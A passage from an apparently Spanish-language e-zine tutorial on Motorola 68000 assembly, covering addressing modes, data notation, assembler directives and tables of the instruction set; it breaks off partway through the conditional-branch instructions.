intermedia, donde está contenida la dirección efectiva.</p> <p>Esta dirección de memoria esta contenida en un registro de dirección.</p> <div class="highlight"><pre><span class="nf">ASL.W</span> <span class="p">(</span><span class="nv">A3</span><span class="p">)</span> </pre></div> </div> <div class="section" id="direccionamiento-indirecto-con-postincremento"> <h3>Direccionamiento Indirecto con Postincremento</h3> <p>Igual que el anterior, pero despues de obtener el argumento el registro de direcciones se incrementa en un valor, segun el tamaño:</p> <p>.B (Byte): Se incrementa en 1</p> <p>.W (Word): Se incrementa en 2</p> <p>.L (LongWord): Se incrementa en 4</p> <p>Se utiliza la representacion (A*)+</p> <div class="highlight"><pre><span class="nf">CMPM</span> <span class="p">(</span><span class="nv">A0</span><span class="p">)</span><span class="o">+</span><span class="p">,(</span><span class="nv">A4</span><span class="p">)</span><span class="o">+</span> </pre></div> <p>Esto es muy útil para recorrer arrays y para actualizar el puntero de pila al sacar datos (El 68000 no tiene instrucción para eso)</p> </div> <div class="section" id="direccionamiento-indirecto-con-predecremento"> <h3>Direccionamiento Indirecto con Predecremento</h3> <p>Primero se decrementa el valor del registro de direcciones y luego se accede al dato.</p> <div class="highlight"><pre><span class="nf">OR.B</span> <span class="nv">D3</span><span class="p">,</span><span class="o">-</span><span class="p">(</span><span class="nv">A0</span><span class="p">)</span> </pre></div> <p>Se utiliza para introducir datos en pila.</p> </div> <div class="section" id="direccionamiento-indirecto-con-desplazamiento"> <h3>Direccionamiento Indirecto con Desplazamiento</h3> <p>La dirección efectiva se obtiene sumando un valor al contenido del registro de direcciones.</p> <p>El desplazamiento es un numero con signo de 16 bits.</p> <div class="highlight"><pre><span class="nf">CHR</span> <span class="kc">$</span><span class="mi">24</span><span class="p">(</span><span class="nv">A4</span><span class="p">),</span><span class="nv">D3</span> </pre></div> </div> <div class="section" id="direccionamiento-indirecto-con-indice-y-desplazamiento"> <h3>Direccionamiento Indirecto con Indice y Desplazamiento</h3> <p>La dirección efectiva se halla sumando 3 valores:</p> <ul class="simple"> <li>El contenido de un registro de direcciones.</li> <li>Un desplazamiento de 8 bits.</li> <li>Un registro de datos.</li> </ul> <p>Formato: desplazamiento(A*,D*.B|W|L)</p> <div class="highlight"><pre><span class="nf">DIVU</span> <span class="mi">8</span><span class="p">(</span><span class="nv">A3</span><span class="p">,</span><span class="nv">D7.L</span><span class="p">),</span><span class="nv">D5</span> </pre></div> </div> <div class="section" id="direccionamiento-relativo-con-desplazamiento"> <h3>Direccionamiento Relativo con Desplazamiento</h3> <p>Igual que el de desplazamiento pero con el contador de programa.</p> <div class="highlight"><pre><span class="nf">LEA</span> <span class="kc">$</span><span class="mi">200</span><span class="p">(</span><span class="nv">PC</span><span class="p">),</span><span class="nv">A3</span> </pre></div> </div> <div class="section" id="direccionamiento-relativo-con-indice-y-desplazamiento"> <h3>Direccionamiento Relativo con Indice y Desplazamiento</h3> <p>Igual que el de indice y desplazamiento pero con el PC</p> <div class="highlight"><pre><span class="nf">MOVE</span> <span class="kc">$</span><span class="nv">B</span><span class="p">(</span><span class="nv">PC</span><span class="p">,</span><span class="nv">D1.L</span><span class="p">),</span><span class="nv">D5</span> </pre></div> </div> </div> <div class="section" id="el-juego-de-instrucciones-de-mc68000"> <span id="instrucciones"></span><h2>6. El juego de instrucciones de MC68000</h2> <p>Aquí va un extracto del juego de instrucciones. Es sencillo, pero suficiente.</p> <p>[Nota:] Omitiré ciertas instrucciones, puesto que este artículo está pensado para aprender a programar un micro, no para profundizar en el 68000. Si estás interesado puedes buscar en la web el juego completo.</p> <p>[Nota:] Este juego esta escrito resumidamente, y tiene el único fin de aprender un poco a programar el micro. Si se quiere utilizar con fines mas complejos, recomiendo que se busque las especificaciones completas de este código, ya que vendrán más extensamente comentadas.</p> <div class="section" id="comentarios"> <h3>Comentarios</h3> <p>Los comentarios comienzan por * o por ' y el ensamblador los ignora al generar el código.</p> </div> <div class="section" id="representacion-de-datos"> <h3>Representacion de datos</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="33%"></col> <col width="33%"></col> <col width="33%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Dato</th> <th class="head">Prefijo</th> <th class="head">Ejemplo</th> </tr> </thead> <tbody valign="top"> <tr><td>Decimal</td> <td>Sin prefijo</td> <td>63</td> </tr> <tr><td>Binario</td> <td>%</td> <td>%111111</td> </tr> <tr><td>Hexadecimal</td> <td>$</td> <td>$3F</td> </tr> <tr><td>ASCII</td> <td>' '</td> <td>'NETSEARCH'</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="operaciones"> <h3>Operaciones</h3> <p>Estas operaciones pueden realizarse entre registros dentro de una instrucción.</p> <p>Por ejemplo:</p> <div class="highlight"><pre><span class="no">NETSEARCH</span><span class="kd"> EQU</span> <span class="mi">20</span> <span class="no">EZINE</span><span class="kd"> EQU</span> <span class="mi">30</span> <span class="nf">MOVE</span> <span class="err">#</span><span class="p">(</span><span class="nv">NETSEARCH</span> <span class="o">+</span> <span class="nv">EZINE</span> <span class="o">/</span> <span class="mi">2</span><span class="p">),</span><span class="nv">D2</span> </pre></div> <p>sería lo mismo que</p> <div class="highlight"><pre><span class="nf">MOVE</span> <span class="err">#</span><span class="mi">25</span><span class="p">,</span><span class="nv">D2</span> </pre></div> <ul class="simple"> <li>| OR lógico</li> <li>^ OR Exclusivo (aka XOR)</li> <li>&amp; AND lógico</li> <li><ul class="first"> <li>Suma de enteros</li> </ul> </li> <li><ul class="first"> <li>Resta de enteros</li> </ul> </li> <li><ul class="first"> <li>Multiplicación de enteros</li> </ul> </li> <li>/ División entera de enteros</li> <li>&gt; Desplazamiento lógico hacia la derecha</li> <li>&lt; Desplazamiento lógico hacia la izquierda</li> <li><ul class="first"> <li>(prefijo) Signo positivo</li> </ul> </li> <li><ul class="first"> <li>(prefijo) Signo negativo</li> </ul> </li> <li>! Negacion lógica</li> <li>( ) Parentesis sin límite de nivel</li> <li>Etiquetas: Se utilizan para demarcar determinada posicion, y se emplean sobretodo para las subrutinas.</li> <li>Extensiones: Se colocan en ciertas instrucciones.</li> </ul> <p>En instrucciones de manejo de datos:</p> <table border="1" class="table table-striped docutils"> <colgroup> <col width="6%"></col> <col width="94%"></col> </colgroup> <tbody valign="top"> <tr><td>.B</td> <td>El operando es un byte</td> </tr> <tr><td>.W</td> <td>El operando es una palabra (Por defecto para datos)</td> </tr> <tr><td>.L</td> <td>El operando es una palabra larga (Por defecto para direcciones)</td> </tr> </tbody> </table> <p>En instrucciones de tipo branch (ramificación):</p> <table border="1" class="table table-striped docutils"> <colgroup> <col width="11%"></col> <col width="89%"></col> </colgroup> <tbody valign="top"> <tr><td>.S</td> <td>Desplazamiento corto (8 bits)</td> </tr> <tr><td>.L</td> <td>Desplazamiento largo (16 bits)</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="directivas-o-pseudoinstrucciones"> <h3>Directivas o pseudoinstrucciones</h3> <p>(Se ponen en el código fuente, pero solo los emplea el compilador, no generan código)</p> <table border="1" class="table table-striped docutils"> <colgroup> <col width="19%"></col> <col width="29%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Directiva</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>ABSOLUTE</strong></td> <td> </td> <td>Indica que el código que se generará es absoluto (las referencias a posiciones de memoria). El código absoluto solo se ejecutará correctamente si se encuentra en las posiciones de memoria para las que ha sido ensamblado.</td> </tr> <tr><td><strong>RELATIVE</strong></td> <td> </td> <td><p class="first">Modo por defecto.</p> <p class="last">Las referencias a posiciones de memoria seran relativas al Contador de programa (PC)</p> </td> </tr> <tr><td><strong>ORG*</strong> (ORIGIN)</td> <td>'ORG <em>expresión</em>'</td> <td><p class="first">Indica la posición de memoria a partir de la cual se coloca el código que se genere a continuación. En código absoluto puede aparecer 20 veces, y en relativo solo 1.</p> <div class="last"><div class="highlight"><pre><span class="k">ORG</span> <span class="kc">$</span><span class="mi">25000</span> </pre></div> </div></td> </tr> <tr><td><strong>END</strong></td> <td> </td> <td>Debe aparecer al final del programa. El código escrito a continuación se ignorará.</td> </tr> <tr><td><strong>DC</strong></td> <td><p class="first">DC</p> <p>DC.L expr, expr,...</p> <p class="last">DC.B expr, expr,...</p> </td> <td><p class="first">Inicializa espacio en memoria.</p> <div class="last"><div class="highlight"><pre><span class="nf">DC.W</span> <span class="kc">$</span><span class="mi">2500</span> <span class="nf">DC.L</span> <span class="s">'HOLA'</span><span class="p">,</span><span class="kc">$</span><span class="mi">00</span> </pre></div> </div></td> </tr> <tr><td><strong>DS</strong></td> <td>DS.B|W|L expresión</td> <td><p class="first">Reserva tantos bytes|words|longword como se ponga en expresión.</p> <div class="last"><div class="highlight"><pre><span class="nf">DS.W</span> <span class="mi">2</span> <span class="o">-&gt;</span> <span class="nv">DC.W</span> <span class="mi">0</span><span class="p">,</span><span class="mi">0</span> </pre></div> </div></td> </tr> <tr><td><strong>EQU</strong></td> <td>etiqueta EQU expresión</td> <td><p class="first">Asigna el valor de la expresión a una etiqueta.</p> <div class="last"><div class="highlight"><pre><span class="no">NUMERO</span><span class="kd"> EQU</span> <span class="kc">$</span><span class="mi">400</span> </pre></div> </div></td> </tr> </tbody> </table> <p>Existen más, pero las omito.</p> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-transferencia-de-datos"> <h3>Instrucciones de transferencia de datos</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="51%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>MOVE</strong></td> <td>MOVE.B|W|L origen, destino</td> <td><p class="first">Transfiere datos del origen al destino.</p> <div class="last"><div class="highlight"><pre><span class="nf">MOVE</span> <span class="err">#</span><span class="kc">$</span><span class="mi">12</span><span class="p">,</span><span class="nv">D3</span> </pre></div> </div></td> </tr> <tr><td><strong>MOVEA</strong></td> <td>MOVEA origen,A*</td> <td><p class="first">Transfiere una dirección.</p> <div class="last"><div class="highlight"><pre><span class="nf">MOVEA</span> <span class="kc">$</span><span class="mi">27</span><span class="p">,</span><span class="nv">A2</span> </pre></div> </div></td> </tr> <tr><td><strong>MOVEM</strong></td> <td><p class="first">MOVEM.W|L lista_reg,destino</p> <p class="last">MOVEM.W|L origen,lista_reg</p> </td> <td>Transfiere múltiples registros</td> </tr> <tr><td><strong>MOVEQ</strong></td> <td>MOVEQ #n,D*</td> <td><p class="first">Transferencia rapida a registro de datos</p> <p class="last">n es un numero de 8 bits en complemento a 2.</p> </td> </tr> <tr><td><strong>MOVEP</strong></td> <td><p class="first">MOVEP.W|L O(A2),D*</p> <p class="last">MOVEP.W|L D*,O(A2)</p> </td> <td>Transferencia a perifericos.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-intercambio"> <h3>Instrucciones de intercambio</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="51%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>EXG</strong> (Exchange)</td> <td>EXG expresión, expresión</td> <td>Permite intercambiar dos registros (de direcciones, de datos o uno con otro)</td> </tr> <tr><td><strong>SWAP</strong></td> <td>SWAP D* registro de datos.</td> <td>Intercambia las dos mitades de un</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-manejo-de-direcciones-efectivas"> <h3>Instrucciones de manejo de direcciones efectivas</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>LEA</strong> (Load Effective Address)</td> <td>LEA fuente,A*</td> <td>Carga en un registro de direcciones la direccion efectiva del operando.</td> </tr> <tr><td><strong>PEA</strong> (Push Effective Address)</td> <td>PEA fuente,A*</td> <td>Igual que el anterior, pero guarda la direccion efectiva en la pila.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-suma"> <h3>Instrucciones de suma</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>ADD</strong></td> <td>ADD.B|W|L origen,destino</td> <td><p class="first">Suma binaria. Uno de los dos operandos ha de ser un registro de datos.</p> <div class="last"><div class="highlight"><pre><span class="nf">ADD</span> <span class="err">#</span><span class="kc">$</span><span class="mi">4</span><span class="nv">F</span><span class="p">,</span><span class="nv">D3</span> </pre></div> </div></td> </tr> <tr><td><strong>ADDA</strong></td> <td>ADDA.B|W|L fuente,A*</td> <td><p class="first">Suma de dirección.</p> <div class="last"><div class="highlight"><pre><span class="nf">ADDA.W</span> <span class="err">#</span><span class="kc">$</span><span class="mi">5</span><span class="p">,</span><span class="nv">A2</span> </pre></div> </div></td> </tr> <tr><td><strong>ADDI</strong></td> <td>ADDI.B|W|L #n,destino</td> <td>Suma inmediata.</td> </tr> <tr><td><strong>ADDQ</strong></td> <td>ADDQ.B|W|L #n,destino</td> <td>Suma rápida. 1 &lt;= n &lt;= 8</td> </tr> <tr><td><strong>ADDX</strong></td> <td>ADDX.B|W|L origen,destino</td> <td><p class="first">Suma extendida.</p> <p>origen + destino + X = destino</p> <p class="last">X es el flag extendido del registro de estados</p> </td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-resta"> <h3>Instrucciones de Resta</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>SUB</strong></td> <td>SUB.B|W|L origen,destino</td> <td>Resta binaria.</td> </tr> <tr><td><strong>SUBA</strong></td> <td>SUB.B|W|L origen,A*</td> <td>Resta de direcciones.</td> </tr> <tr><td><strong>SUBI</strong></td> <td>SUBI.B|W|L #n,destino</td> <td>Resta inmediata.</td> </tr> <tr><td><strong>SUBQ</strong></td> <td>SUBQ.B|W|L #n,destino</td> <td>Resta rapida.</td> </tr> <tr><td><strong>SUBX</strong></td> <td>SUBX.B|W|L origen,destino</td> <td>Resta extendida.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-negacion"> <h3>Instrucciones de negación</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>NEG</strong></td> <td>NEG.B|W|L operando</td> <td>Niega el operando.</td> </tr> <tr><td><strong>NEGX</strong></td> <td>NEGX.B|W|L operando</td> <td>Negacion con extensión.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-multiplicacion"> <h3>Instrucciones de multiplicación</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>MULS</strong></td> <td>MULS.W operando,D*</td> <td><p class="first">Multplicación con signo.</p> <p class="last">Los operandos son de 16 bits y el resultado de 32 bits.</p> </td> </tr> <tr><td><strong>MULU</strong></td> <td>MULU.W operando,D*</td> <td>Multiplicación sin signo. El resultado es de 32 bits.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-division"> <h3>Instrucciones de división</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>DIVS</strong></td> <td>DIVS.W operando,D*</td> <td><p class="first">División con signo.</p> <p class="last">El la palabra más significativa del resultado es el resto, y la menos significativa el cociente.</p> </td> </tr> <tr><td><strong>DIVU</strong></td> <td>DIVU.W operando,D*</td> <td>División sin signo.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-comparacion"> <h3>Instrucciones de comparación</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>CMP</strong></td> <td>CMP.B|W|L operando,D*</td> <td>Compara registros de datos.</td> </tr> <tr><td><strong>CMPA</strong></td> <td>CMPA.B|W|L operando,D*</td> <td>Comparacion inmediata.</td> </tr> <tr><td><strong>CMPM</strong></td> <td>CMPM.B|W|L (A*)+,(A*)+</td> <td>Comparacion de posiciones de memoria.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-extension-de-signo"> <h3>Instrucciones de extensión de signo</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>EXT</strong></td> <td>EXT.W|L D*</td> <td>Extiende el bit de signo del operando.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instruccion-de-puesta-a-cero"> <h3>Instrucción de puesta a cero</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>CLR</strong></td> <td>CLR.B|W|L operando</td> <td>Pone a 0 el operando.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="testeo-de-operandos"> <h3>Testeo de operandos</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>TST</strong></td> <td>TST.B|W|L operando</td> <td>Compara 0 con el operando.</td> </tr> <tr><td><strong>TAS</strong></td> <td>TAS.B operando</td> <td>Comprueba operando y pone a 1 su bit de signo.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-aritmetica-bcd"> <h3>Instrucciones de aritmética BCD</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>ABCD</strong></td> <td>ABCD.B|W|L fuente,destino</td> <td>Suma en código BCD con extensión.</td> </tr> <tr><td><strong>SBCD</strong></td> <td>SBCD.B|W|L fuente,destino</td> <td>Resta BCD con extensión.</td> </tr> <tr><td><strong>NBCD</strong></td> <td>NBCD.B|W|L operando</td> <td>Negacion en BCD con extensión.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-logicas"> <h3>Instrucciones lógicas</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>AND</strong></td> <td>AND.B|W|L fuente,destino</td> <td>Realiza un Y lógico entre los operandos.</td> </tr> <tr><td><strong>ANDI</strong></td> <td>ANDI.B|W|L #n,operando</td> <td><p class="first">Y logico inmediato.</p> <p class="last">#n es un número decimal entre 1 y 8.</p> </td> </tr> <tr><td><strong>OR</strong></td> <td>OR.B|W|L origen,destino</td> <td>Realiza un O lógico.</td> </tr> <tr><td><strong>ORI</strong></td> <td>ORI.B|W|L #n,destino</td> <td>O lógico inmediato.</td> </tr> <tr><td><strong>NOT</strong></td> <td>NOT.B|W|L operando</td> <td>Negación lógica.</td> </tr> <tr><td><strong>EOR</strong></td> <td>EOR.B|W|L D*,destino</td> <td>Realiza un O exclusivo (aka XOR)</td> </tr> <tr><td><strong>EORI</strong></td> <td>EORI.B|W|L #n,destino</td> <td>O exclusivo inmediato.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-chequeo-de-bits"> <h3>Instrucciones de chequeo de bits</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>BTST</strong></td> <td><p class="first">BTST #n,destino</p> <p class="last">BTST D*,destino</p> </td> <td>Comprobamos un bit y reflejamos el estado de ese bit en el flag Z del registro de estados. #n es el bit a comprobar.</td> </tr> <tr><td><strong>BCLR</strong></td> <td><p class="first">BCLR #n,destino</p> <p class="last">BCLR D*,destino</p> </td> <td>Comprueba el bit indicado y refleja el contenido en Z. Despues pone a 0 ese bit.</td> </tr> <tr><td><strong>BSET</strong></td> <td><p class="first">BSET #n,destino</p> <p class="last">BSET D*,destino</p> </td> <td>Comprueba, actualiza Z y pone a 1 el bit.</td> </tr> <tr><td><strong>BCHG</strong></td> <td><p class="first">BCHG #n,destino</p> <p class="last">BCHG D*,destino</p> </td> <td>Comprueba, actualiza Z e invierte el valor del bit.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-desplazamiento-y-rotacion"> <h3>Instrucciones de desplazamiento y rotación</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="12%"></col> <col width="38%"></col> <col width="50%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>LSL</strong></td> <td><p class="first">LSL.B|W|L Di,Dj desp = Di mod 64</p> <p>LSL.B|W|L #n,D* desp = #n</p> <p class="last">LSL destino desp = 1</p> </td> <td><p class="first">Desplaza hacia la izquierda los bits tantas veces como desp.</p> <p>C &lt;- bit|bit|bit|...|bit|bit|bit &lt;- 0</p> <p>|</p> <p class="last">X &lt;-</p> </td> </tr> <tr><td><strong>LSR</strong></td> <td><p class="first">LSR.B|W|L Di,Dj desp = Di mod 64</p> <p>LSR.B|W|L #n,D* desp = #n</p> <p class="last">LSR destino desp = 1</p> </td> <td><p class="first">Desplaza hacia la derecha los bits tantas veces como desp.</p> <p>0 -&gt; bit|bit|bit|...|bit|bit|bit -&gt; C</p> <p>|</p> <p class="last">-&gt; X</p> </td> </tr> <tr><td><strong>ASL</strong></td> <td><p class="first">ASL.B|W|L Di,Dj desp = Di mod 64</p> <p>ASL.B|W|L #n,D* desp = #n</p> <p class="last">ASL destino desp = 1</p> </td> <td><p class="first">Desplazamiento aritmetico hacia la izquierda</p> <p class="last">El flag V (overflow) se pone a 1 si el bit más significativo cambia en algún momento.</p> </td> </tr> <tr><td><strong>ASR</strong></td> <td><p class="first">ASR.B|W|L Di,Dj desp = Di mod 64</p> <p>ASR.B|W|L #n,D* desp = #n</p> <p class="last">ASR destino desp = 1</p> </td> <td><p class="first">Desplazamiento aritmetico hacia la derecha</p> <p class="last">El flag V (overflow) se pone a 1 si el bit menos significativo cambia en algún momento.</p> </td> </tr> <tr><td><strong>ROL</strong></td> <td><p class="first">ROL.B|W|L Di,Dj desp = Di mod 64</p> <p>ROL.B|W|L #n,D* desp = #n</p> <p class="last">ROL destino desp = 1</p> </td> <td><p class="first">Rotación hacia la izquierda</p> <p>| |</p> <p class="last">C &lt;- bit|bit|bit|...|bit|bit|bit &lt;-</p> </td> </tr> <tr><td><strong>ROR</strong></td> <td><p class="first">ROR.B|W|L Di,Dj desp = Di mod 64</p> <p>ROR.B|W|L #n,D* desp = #n</p> <p class="last">ROR destino desp = 1</p> </td> <td><p class="first">Rotación hacia la derecha.</p> <p>| |</p> <p class="last">-&gt; bit|bit|bit|...|bit|bit|bit -&gt; C</p> </td> </tr> <tr><td><strong>ROXL</strong></td> <td><p class="first">ROXL.B|W|L Di,Dj desp = Di mod 64</p> <p>ROXL.B|W|L #n,D* desp = #n</p> <p class="last">ROXL destino desp = 1</p> </td> <td><p class="first">Rotación a izquierda con extensión.</p> <p>| |</p> <p class="last">C &lt;- bit|bit|bit|...|bit|bit|bit &lt;- X &lt;-</p> </td> </tr> <tr><td><strong>ROXR</strong></td> <td><p class="first">ROXR.B|W|L Di,Dj desp = Di mod 64</p> <p>ROXR.B|W|L #n,D* desp = #n</p> <p class="last">ROXR destino desp = 1</p> </td> <td><p class="first">Rotación a derecha con extensión</p> <p>| |</p> <p class="last">- X -&gt; bit|bit|bit|...|bit|bit|bit -&gt; C</p> </td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-de-control-de-programa-saltos-incondicionales"> <h3>Instrucciones de control de programa (Saltos) incondicionales</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="14%"></col> <col width="33%"></col> <col width="53%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>BRA</strong> (Branch)</td> <td>BRA etiqueta</td> <td><p class="first">Ramificación incondicional (Salto de 8 o 16 bits relativo a PC)</p> <p class="last">El PC apunta ahora a la dirección de etiqueta</p> </td> </tr> <tr><td><strong>BSR</strong> (Branch SubRoutine)</td> <td>BSR etiqueta</td> <td><p class="first">Ramificación a subrutina. (Llamada a subrutina con esa etiqueta)</p> <p>Guarda el PC en la pila y cambia el PC a la dirección de etiqueta.</p> <p class="last">8 o 16 bits relativo a PC</p> </td> </tr> <tr><td><strong>JMP</strong> (Jump)</td> <td>JMP destino</td> <td><p class="first">Salto. (Direccionamiento absoluto)</p> <p class="last">El PC se pone la dir. de etiqueta.</p> </td> </tr> <tr><td><strong>JSR</strong> (Jump SubRoutine)</td> <td>JSR destino</td> <td><p class="first">Salto a subrutina.</p> <p>Guarda el PC en pila y cambia PC por la dir. destino.</p> <p class="last">Direccionamiento absoluto.</p> </td> </tr> <tr><td><strong>RTS</strong> (Return SubRoutine)</td> <td>RTS</td> <td><p class="first">Retorno de subrutina.</p> <p class="last">Recupera el PC de la pila (Volvemos al punto donde se llamo la subrutina)</p> </td> </tr> <tr><td><strong>RTR</strong></td> <td>RTR</td> <td>Retorno de subrutina y reposición de los códigos de condición.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="saltos-condicionales"> <h3>Saltos condicionales</h3> <p>cc: Condiciones base. Se colocan como sufijo a la instruccion condicional.</p> <p>Aritmética con signo</p> <ul class="simple"> <li>GT (Greater Than) si &gt;</li> <li>LS (Less Than) si &lt;</li> <li>GE (Greater or Equal) si &gt;=</li> <li>LE (Less or Equal) si =&lt;</li> <li>VS (Overflow) si overflow</li> <li>VC (No overflow) si no overflow</li> <li>PL (Plus) si positivo</li> <li>MI (Minus) si negativo</li> </ul> <p>Aritmetica sin signo</p> <ul class="simple"> <li>HI (Higher) si mayor</li> <li>CS (Carry Set) si menor</li> <li>CC (Carry Clear) si mayor o igual</li> <li>LS (Low or Same) si menor o igual</li> <li>EQ (Equal) si igual</li> <li>NE (Not Equal) si distinto</li> <li>T (True) si cierto</li> <li>F (False) si falso</li> </ul> <table border="1" class="table table-striped docutils"> <colgroup> <col width="14%"></col> <col width="33%"></col> <col width="53%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>Bcc</strong> (Branch if)</td> <td>Bcc etiqueta</td> <td><p class="first">Si se cumple cc salta a etiqueta (etiqueta -&gt; PC)</p> <p class="last">Dirección relativa a PC (8 o 16 bits)</p> </td> </tr> <tr><td><strong>DBcc</strong></td> <td>DBcc D*,etiqueta</td> <td><p class="first">Decrementar y ramificar. Mientras cc se cumple no se hace nada.</p> <p>Si cc no se cumple, se decrementa el registro D*.</p> <p class="last">Mientras D* es distinto de -1, se salta a etiqueta.</p> </td> </tr> <tr><td><strong>Scc</strong> (Set)</td> <td>Scc destino</td> <td><p class="first">Pone destino a 1 si la condicion se cumple o a 0 si no.</p> <p class="last">El destino sera un 